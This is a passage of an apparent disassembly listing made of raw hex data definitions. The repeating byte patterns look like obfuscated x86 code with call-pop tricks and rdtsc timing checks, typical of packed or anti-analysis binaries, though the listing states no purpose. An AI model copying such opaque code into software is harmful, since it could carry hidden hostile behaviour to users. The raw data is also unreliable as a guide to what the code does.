8B064811h dd 48140595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 705737D8h, 0AD54394Ch, 258D8B51h dd 6A064830h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 4C21C350h, 65217918h, 50653100h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0E19D8B58h dd 6A064810h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B82C350h, 4820359Dh, 0D9BF0F06h dd 12FDBD83h, 0F000648h, 7484h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0CABB3872h dd 0D19D8B9Dh, 0B806482Eh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 66C35545h dd 898B9486h, 4830318Dh, 808D8D06h, 6006484Eh, 2B91B509h dd 66610648h, 0FFBE72BBh, 0BE9E1h, 99190000h, 0F1ED4C04h dd 7C2BD2E2h, 0D9BD8377h, 6482Ah, 4A1840Fh, 95890000h dd 6482989h, 2AD9BD83h, 0F010648h, 4A984h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 98D741ACh, 0AACCA14Ch, 0BD8302F5h, 6482AD9h, 41860F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0F9EAC355h, 14E8861Ch, 2D000000h dd 59481168h, 16A136ECh, 3EDCF751h, 90A6D696h, 8105C6B1h dd 993527DFh, 6A605B31h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0EC5CC351h, 2941BD03h dd 8C660648h, 0CBBB66D9h, 4E180B3h, 2A419589h, 0C90A0648h dd 188840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0F324B9C3h, 59858B68h, 6A064811h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 526C356h, 81666BEAh, 334924F3h, 48121985h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 38BA3E98h, 921874BFh, 0BDBD031Dh, 50064815h dd 89FB8B66h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0BDBEE4C3h, 0CCD9D29h, 66536BDDh dd 6A5FDE8Bh, 8E900h, 931F0000h, 3588B510h, 4E84B2Eh, 0FF000000h dd 0F001F03h, 884h, 2840F00h, 60000000h, 8A605061h, 925EBBD8h dd 8B612C79h, 0B7042444h, 0E8008B38h, 9, 0A5C996BBh, 0AD206501h dd 60525065h, 66310F61h, 5AC4DEBBh, 44895B58h, 6A580424h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 2F2AC357h, 19BFF7FAh, 0DE8BCD40h, 74195FFh dd 0BD8B0648h, 64827FDh, 0B6898589h, 6A064Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C2433AC3h dd 6549B908h, 503811F8h, 20DE95Bh, 6A0000h db 57h, 0E8h word_587256 dw 3 ; DATA XREF: ___:off_42AFECo dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 624131C3h, 7D782333h, 858BDE8Bh, 64BB681h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 13C35646h, 7FB3D0C7h dd 0BCDB1E4Ch, 1800C7h, 81660000h, 8B3E35D7h, 4BB685B5h dd 0BFFE8B06h, 2AA6D48Eh, 1A85858Bh, 0BF0F0648h, 6A0689F9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 9838C351h, 14DA3687h, 0BD03E3DDh, 6480F81h dd 1159858Bh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 668F43C3h, 898CC2BFh, 50F80446h dd 2830Fh, 0DF8B0000h, 29243489h, 4813A1BDh, 81B5FF06h dd 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 1FA3C352h, 88B51093h, 664B2E35h dd 0AF56DB81h, 1830Fh, 0E8F50000h, 4, 1F03FFh, 14E95250h dd 0A5000000h, 0FEA14E57h, 4C68524Fh, 4E647691h, 1C134150h dd 0F260CA0h, 2BB5131h, 5B0E3D20h, 6050585Ah, 0AE8h, 0DA900900h dd 0EBD2A22Eh, 8BAD972Bh, 8B6658CBh, 448B61D1h, 0EE80424h dd 0A5000000h, 24692AF1h, 105CFB23h, 0F207E2E4h, 6424BFD2h dd 8B5F4A81h, 0F88B6600h, 4244489h, 12E9h, 2AE0F200h, 20E04872h dd 8CD68CDEh, 0DB55084Eh, 587F594Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0D0C35343h, 0BF10365Dh, 6A37E301h dd 0B689858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 77DA2BC3h, 0EDF8014Eh, 0BB66F745h dd 9D8B053Bh, 6482EF9h, 89DE8B50h, 9EBB2404h, 9626920h dd 480035BDh, 4195FF06h, 0F064807h, 689h, 95BD8900h, 61064831h dd 4518529h, 85C70648h, 6482AD9h, 3, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0F0C35343h, 0CFE5FF8Bh, 9D896F01h dd 64808B1h, 0B689BD83h, 0F00064Bh, 0F84h, 42BB6600h, 21E9B6h dd 0EF810000h, 46A3277Ah, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 175EC353h, 9FA4159h dd 2715B74Fh, 9D01DF8Bh, 6481385h, 2ED99D8Bh, 95890648h dd 6480599h, 2AD9BD83h, 0F030648h, 53E85h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0FB2F517Eh, 0AE90B88h, 51000000h, 0B52220B4h, 0F594F822h dd 0BE9514Ch, 0D5000000h, 0FF8BF08Ah, 6F01CFE5h, 835BDB00h dd 4BB689BDh, 840F0006h, 4EFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0A8C35141h, 0A16E23A9h, 8B66961Eh dd 0B8D781FBh, 0FF7EB201h, 4BB689B5h, 0DE806h, 17320000h dd 0E4914A1Dh, 2DA9DA9Dh, 80278022h, 0FF5FDDDFh, 4809F595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 20B77436h, 4443E44Fh, 0B589BBF1h, 6483311h dd 0B67DB58Bh, 6C7064Bh, 10001h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 98C35343h, 800F96BCh, 4, 7E9ABF66h dd 0E0BB6650h, 6A96DEh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 943161C3h, 5E66A5DCh, 0FC8ADE24h dd 0B689B5FFh, 81F5064Bh, 29476ADFh, 6195FF4Ah, 6A064800h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 79DBC356h, 0ADE21A12h, 3BC0955Fh, 6830Fh dd 8D890000h, 6481549h, 0B67DB58Bh, 6A064Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 81C01BC3h dd 17F02684h, 0EE8h, 0A9443B00h, 0E018BD67h, 66A36B90h dd 338653FCh, 480A2D9Dh, 0BD895B06h, 64817A1h, 0F25858Bh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 5F00D3C3h, 27A594Eh, 0C4868924h, 0E9000000h dd 11h, 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h, 5958B90h dd 6A064814h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0DC5C353h, 335DBD8Bh, 0B5090648h dd 6482BD5h, 0B04C283h, 481B15BDh, 20508906h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FEC35343h, 0DE9FE24h dd 8A000000h, 0C4736E45h, 823B5FD3h, 149BDEE9h, 0CAD4858Dh dd 6A064Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A0C7A3C3h, 0A3565A01h, 0BD8BF7E3h, 64822C5h dd 2BBDBD8Bh, 86890648h, 0B8h, 6AFB8B66h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 3363B50Dh, 0E5847EB2h, 0FE8E6h, 0C5660000h, 41C9764h dd 0B1848A21h, 7DCC0212h, 4FF38006h, 1D8D315Bh, 0FF064828h dd 4BB689B5h, 0A5BD8906h, 0F064828h, 80h, 5195FF00h, 6A064800h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 8521C352h, 8DE7521Ch, 9D8B5745h, 64808B1h dd 0DE950h, 353B0000h, 9E835E7Fh, 476ADED6h, 5FB0D893h dd 0F36DBB96h, 0E8501486h, 0Ch, 7DA71181h, 0A9DBB13Fh dd 9635604Ch, 5BF0B753h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 14A51AC3h, 0BF94C4D6h dd 23AEA24Ah, 0FFFB8B66h, 4BB689B5h, 0E9FA8B06h, 10h, 0F1C840AEh dd 70412F77h, 21A1FBF6h, 9A9762BDh, 142995FFh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 830CAAC3h, 4831A9BDh, 840F0006h, 41h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 78C35545h, 8BD88B69h dd 0DE896D8h, 0E3000000h, 1ACD6BBAh, 81A906F3h, 0A6DF0AD3h dd 0D486BB66h, 8196505Fh, 0F6B801EFh, 89B5FF65h, 6A064BB6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 7705C355h, 8FC1F563h, 1A2E0294h, 13FD95FFh dd 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 7AAA2BC3h, 72E78175h, 999BD03h, 0B5FF0648h dd 64BB689h, 13959D8Bh, 95FF0648h, 648177Dh, 38A0Fh, 0EF800000h dd 1DBD8315h, 206482Fh, 62840Fh, 0BD8B0000h, 6481289h dd 1551858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 26CDBFC3h, 146E4CEFh, 0C6829081h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0D812B7C3h, 0EBA5BB19h, 68E0Fh, 0DB810000h dd 78F1EC2Ah, 16E185C7h, 648h, 6A0000h, 3E855h, 5D200000h db 0C3h, 5Dh word_587A56 dw 6C89h ; DATA XREF: ___:off_42C440o dd 44810424h, 1D0424h, 55450000h, 75612EC3h, 9A5281C6h dd 60B17351h, 41F9C881h, 0AE908FAh, 0FC000000h, 2E55EDC8h dd 6E88082Bh, 1BB6178h, 0E933F6C9h, 0FFFFF212h, 0CE8h dd 0A984C200h, 0AFABC5A7h, 0B2B82162h, 45BD8945h, 5B064805h dd 0CE9C18Bh, 41000000h, 376DADF8h, 5E826ED2h, 8DE57128h dd 48125585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0FC1CA08Ch, 5E890h, 3D360000h, 0FBE655Fh dd 28Fh, 5F5F5100h, 0D98B6650h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5E8C46B7h dd 598D89B2h, 6A064830h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 6F419464h, 66CB95C0h dd 6A8A18BBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0A29ACDEBh, 38D97A06h, 0AB858DC8h dd 6A064CE8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 807CC355h, 1B53BFF1h, 95BD0305h dd 89064819h, 4814F9B5h, 5C08306h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 99C35141h, 0D7F63480h, 0DBF6677h dd 9E9508Dh, 0A4000000h, 449DD6CFh, 3005241Bh, 0F240489h dd 68Dh, 0ED858900h, 6A064832h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 6AD1D69Bh dd 1BD2B00h, 0FF06481Fh, 482B2D95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0BFD2F998h dd 7DA3A321h, 0EDE78166h, 388D8D99h, 6A064B99h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0AC1CC352h, 2C1A7CA0h, 57609B37h, 840Fh, 665A0000h dd 615E88BAh, 0E381D1FFh, 690B54F0h, 30E5BD83h, 0F010648h dd 0DF85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0E9339018h, 6AF88B66h, 56006A02h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 1C57533Bh, 90F4EAC4h, 0E8605250h, 10h, 6F3D8671h, 0DC7EBA2Ch dd 7EC701F7h, 0F0522747h, 619CB15Bh, 585A310Fh, 1B8F0F50h dd 0E8000000h, 13h, 0CC7C72B6h, 0C59408B7h, 0A726D5FAh dd 987F178h, 0B7C4E572h, 6A905F46h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 75DCC356h dd 9E8D3h, 94430000h, 0CDAFDC96h, 0BF595516h, 1BE19098h dd 5195FF5Bh, 0F064800h, 118Ah, 0CE900h, 54AE0000h, 0ABEEEFB8h dd 0C7AE781Eh, 9D295945h, 6482299h, 0E13E9h, 0E800h, 815D0000h dd 4CE8B5EDh, 0E9EDB706h, 9, 46B6DA88h, 0A8CA1C5Dh, 57006A0Fh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 755AE68Bh, 13E63261h, 304DBD8Bh, 0BD890648h, 64812BDh dd 93DA858Dh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 8BFFB1C3h, 0FE94Ch, 0FD7F0000h dd 373079D9h, 0BF3F0B3Fh, 0DF698791h, 48950CFh, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 61D75094h, 7F2DB4FCh, 81667D06h, 640777F7h, 35FFh, 0BD290000h dd 648291Dh, 10C38166h, 258964E1h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 5BC35141h dd 0F7B3E846h, 0A19D8BFEh, 0FF06481Bh, 481AD185h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 4BB99AAAh, 1DA68D4Eh, 0F98BBCC3h, 6AFF6Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0E3E931C3h dd 0E799D09h, 8A0F0648h, 6, 2F719589h, 0B5FF0648h, 6480E25h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h dd 93EC647Ch, 64654D2Fh, 8E8h, 0DF073500h, 71D021Dh, 0E19D8BB7h dd 5F06480Fh, 10D995FFh, 6BE90648h, 1000001h, 480439B5h dd 0B0DE8A06h, 7E800h, 0FEC00000h, 0DF188258h, 4DF1BFA4h dd 0E65B0AC7h, 0E4D2B370h, 8E971h, 6FCF0000h, 0FD345D2Eh dd 613CBDB0h, 134830Fh, 0D98B0000h, 0FC8B60Fh, 28Bh, 0BAFE8B00h dd 6, 2BF7E781h, 0C18B583Bh, 0EF9BD0Bh, 0BF660648h, 0E8C1C7E5h dd 66F98B04h, 0C82BE2F7h, 61C38166h, 81D18BB4h, 0F8DCFBEBh dd 0C1BD8B35h, 0E9064821h, 0EEh, 4C44858Bh, 8B665F4Ch dd 7C083DAh, 0CE8h, 48EC4B00h, 3E2379AAh, 764B0193h, 819D2B6Eh dd 5B064804h, 0E900C083h, 0Dh, 80864A00h, 0D7AAE69Bh, 7FA85A3Bh dd 0FD03B6Bh, 4D83h, 14E800h, 730A0000h, 76193DA0h, 88FCB51Ch dd 2371DF2h, 55AA2C3Fh, 0BF6691C5h, 0E95F81EDh, 8Ah, 445BD31h dd 0E9600648h, 0Dh, 1238B3FBh, 5B603283h, 1E30AAB9h, 0BE957h dd 0B2450000h, 13E01170h, 9B10998Dh, 8D8B6116h, 0FFFFFFFFh dd 3339B589h, 0EE90648h, 53000000h, 268A80Dh, 44EAF4BAh dd 64DA267Eh, 1E18372h, 38840Fh, 8D890000h, 64810E9h, 0FFFFA583h dd 0E9FEFFFFh, 9, 9C0A7E40h, 0DD20B538h, 44958997h, 0F5F4C4Ch dd 686h, 3D9D3100h, 8B06480Ch, 4806E99Dh, 0E906h, 0B58D0000h dd 64C6412h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 8692A4C3h, 2D95FF18h, 6A064809h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 79B1C357h, 0A8E50E98h, 51C459F0h, 2A71B529h dd 87B90648h, 0E800000Eh, 12h, 770932C2h, 7332FC37h, 0E02D2768h dd 0D61BEE5Fh, 5FFC3751h, 6AFCE183h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 24C1C355h dd 6EECD13Bh, 61BD0BF4h, 8906481Bh, 480FDDBDh, 0B509FC06h dd 6482765h, 0B8h, 82E78100h, 2B433046h, 51006AD2h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5D0C4D34h, 5A51231Ah, 8E0F1086h, 16h, 11E9h, 0A0F17B00h dd 6371FE0Bh, 99C4614Fh, 7F1FDF39h, 33AD3218h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 624793C3h, 29B6C709h, 3ADB501h dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 10174FC3h, 65BE5CE9h, 0E91C3797h, 11h, 4F2AA7B8h dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0EB8166AFh, 0BB6641B7h dd 880DD4B2h, 8B000000h, 482F95BDh, 5958B06h, 80064814h dd 8D8B0AF3h, 6483025h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 76C35646h, 0ADAD38E4h, 84B1BE90h, 0AE956h dd 0FA370000h, 0C7228A2Fh, 0DF55E4C9h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0EC37E7C3h, 0FE8AE994h dd 83DEB70Fh, 4812FDBDh, 840F0006h, 62h, 30A59589h, 0B80648h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 4FD9C353h, 0BD8B1907h, 6480E41h dd 4E808D8Dh, 0BD8B0648h, 6480901h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0EFE05DC3h dd 199376E6h, 0BD830CFCh, 6482AD9h, 0C840F00h, 6A000004h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 1285C353h, 0E67FCD8Eh, 0E761BF66h, 6DB58960h dd 6606480Ah, 8361DE8Bh, 482AD9BDh, 840F0106h, 3EAh, 10820Fh dd 0BE90000h, 38000000h, 5BD92F9Fh, 3340FF40h, 0BD835C19h dd 6482AD9h, 91860F03h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C9C0C350h dd 1CD19D0Bh, 8B600648h, 0D98C66F8h, 80FE8B66h, 6A04E1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0C127CCC3h, 33B55D49h, 20358D89h, 0B70F0648h, 0FC90AF8h dd 12584h, 4D9D8B00h, 8B064812h, 48115985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0A0D95206h, 0F1D59723h, 0DB8166FAh, 8533C4A8h, 6481219h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8C35747h dd 80D94156h, 0B35040EFh, 240489C9h, 0AE8h, 0C3393500h dd 0EC10F4B8h, 8B75F39Fh, 48126D9Dh, 6A5B06h, 0BEB8BB66h dd 4E8h, 1F03FF00h, 0CE800h, 691B0000h, 19F4A6Bh, 0B1A017DFh dd 48BF0AF6h, 5F433914h, 8E950h, 58C0000h, 0EC4E88E8h dd 448B1FBDh, 8B660424h, 0B3008BFEh, 24448917h, 585B5304h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0BBC35343h dd 66F9C441h, 0BF66567Ah, 95B14D2h, 4830D98Dh, 4195FF06h dd 89064807h, 480411BDh, 89858906h, 0E9064BB6h, 11h, 0B66F87E7h dd 52029001h, 0A3BF81DDh, 51DC005Ah, 219D895Dh, 0E906481Ah dd 1B0h, 16A1B529h, 858B0648h, 64BB681h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 19h, 2AC35343h, 0C31BC1C9h dd 4F78122h, 0C72213BBh, 1800h, 1BD3300h, 8B064809h, 4BB685B5h dd 6830F06h, 89000000h, 481A8195h, 85858B06h, 6A06481Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0A957C350h, 75BD8960h, 89064800h, 89565606h dd 481ACDBDh, 8B5F5F06h, 48115985h, 0CDBD0306h, 6006480Bh dd 204306B9h, 0FE932h, 4A830000h, 0ABAF2A07h, 7488BE09h dd 6EF5EE91h, 46896123h, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 79B14D43h, 0BD8B0E98h dd 6480621h, 24348950h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0D6C35040h, 0C951B001h, 0B9B5899Eh, 0FF06480Bh dd 4BB681B5h, 0EAAEBF06h, 0BF6867DAh, 50902DE8h, 178B0F52h dd 0E8000000h, 11h, 52ADA741h, 63B50D8Eh, 847EB233h, 0D74CE6E5h dd 310F5FFDh, 10E9h, 0C154BD00h, 383B2DF8h, 58922E4Ah dd 0D6C919E6h, 81585A27h, 1B402404h, 6A6FF1h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 858D11C3h dd 64BB689h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 9BC35646h, 9D0943A6h, 64821DDh, 7E950h, 0A2240000h dd 7C620020h, 2404895Ch, 4195FFF9h, 0F8064807h, 0D8B70F61h dd 2AD985C7h, 30648h, 83F50000h, 4BB689BDh, 840F0006h dd 44h, 58E969B7h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 9D88C351h, 6171CC56h dd 38D0Fh, 8B660000h, 0BE8D9h, 123A0000h, 0D770E89Dh, 0AAEDA701h dd 5B5F512Ch, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 0E8C08B00h, 0Ah, 0C4AC008Ah, 0FB7BBEFAh, 0EE852B4h dd 6F000000h, 0D4C9D748h, 0C737484Fh, 73231C84h, 0C09EBB6Bh dd 5F5B18EAh, 6ADEBF0Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0AFCCC352h, 3A18F77Dh dd 66748CE4h, 0BD83D88Bh, 6482AD9h, 0CC850F03h, 6A000003h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 4173C351h, 6C5384Ch, 67B48E1Bh, 0B689BD83h dd 0F00064Bh, 39A84h, 3840F00h, 66000000h, 0B5FFDE8Bh dd 64BB689h, 7F4BD781h, 95FF7BF6h, 64809F5h, 15719D23h dd 12E90648h, 1B000000h, 1462E89Fh, 4A988565h, 7E5C70Eh dd 3D57FA8Fh, 7DB58B76h, 0E8064BB6h, 6, 7483FFEh, 9D8BF638h dd 648145Dh, 0DBD8B5Bh, 0C7064818h, 1000106h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 9065B101h, 9818589h, 8B560648h, 4829D99Dh, 8F0F5B06h dd 4, 0C59DBB66h, 24348950h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0BCC35242h, 16B0B03Ah, 0C9482112h dd 0B689B5FFh, 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0C66C53C3h, 6446DF6Ah, 95FFA31Eh dd 6480061h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E6C35040h, 6A7D421h, 0B58B5AD5h, 64BB67Dh, 2F298589h dd 858B0648h, 6480F25h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0CBC35242h, 0D9AE1265h, 0C5C48D54h, 0DE8B66AAh dd 7DBD89h, 86890648h, 0C4h, 6840Fh, 9D8B0000h, 6481409h dd 1405958Bh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 7F564EC3h, 3752CCC9h, 1B18509h dd 0C2830648h, 69BD8B04h, 89064828h, 8D892050h, 6480B9Dh dd 77EECEBFh, 0D4858D5Fh, 89064BCAh, 0B886h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0E680DBC2h, 0C3816671h, 6A1E8Eh, 0F422BF66h, 0B689B5FFh dd 0EE9064Bh, 1B000000h, 97030C6Bh, 496705B5h, 52F3A68Bh dd 5195FF84h, 66064800h, 960905BFh, 0CE9h, 37349F00h, 2A2AC893h dd 0FB88CB74h, 0BE95003h, 92000000h, 0A0A54D0h, 0A4D1C360h dd 0FF969EFAh, 4BB689B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0FE9CCh, 3CBA0000h dd 6A54F06Dh, 0A05456D5h, 6F941A54h, 2995FF1Dh, 66064814h dd 8335B1BBh, 4831A9BDh, 840F0006h, 39h, 0BB96DF8Bh, 592C2CBAh dd 0FA8B6650h, 14E996h, 0E0170000h, 0DAD586D9h, 13DEF1F1h dd 0CBD88493h, 0C9D9AD8Ch, 7E83F96h, 0A5000000h, 6571A82Ch dd 0B509DE50h, 6481BD1h, 89B5FF5Bh, 6A064BB6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0BF7BC351h, 786099FDh, 0FD95FF10h, 23064813h, 480591BDh dd 89B5FF06h, 6A064BB6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 55AAC352h, 0CAD91C5h dd 8E83Dh, 1FF80000h, 0DF6CDA9Eh, 0BD89A2E8h, 6481F0Dh dd 7D95FF5Fh, 0F064817h, 68Bh, 0F6E38100h, 8368065Eh, 482F1DBDh dd 840F0206h, 34h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 3C35343h, 2B3D80D8h, 4816DD9Dh, 51858B06h dd 0C6064815h, 9D8B0000h, 6482BF9h, 16E185C7h, 648h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 51D791C3h, 0BCD9D89h, 0E95B0648h, 0FFFFF330h, 6AC18Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8955C3h, 64814B9h, 1255858Dh, 8B660648h, 0E95390DFh dd 0Eh, 40D397A1h, 60CC37C7h, 0F732D8B5h, 505FFF87h, 0D800Fh dd 8E90000h, 0DA000000h, 0C41F7E4Fh, 90C8F6CFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 47C35141h, 0BF0F1BBBh dd 0BF006AFFh, 1FAC1044h, 9D8B006Ah, 64830DDh, 0F908858Dh dd 6A064Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 80FC28C3h, 0C08317CBh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 86D45A8Fh dd 13E8597Ah, 0CE000000h, 11F1FA59h, 9983CF77h, 7563F7FEh dd 5B94CF0h, 5F502573h, 68E0F5Fh, 89000000h, 48023595h dd 0F509006h, 83h, 6A9000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 5EA97C3h, 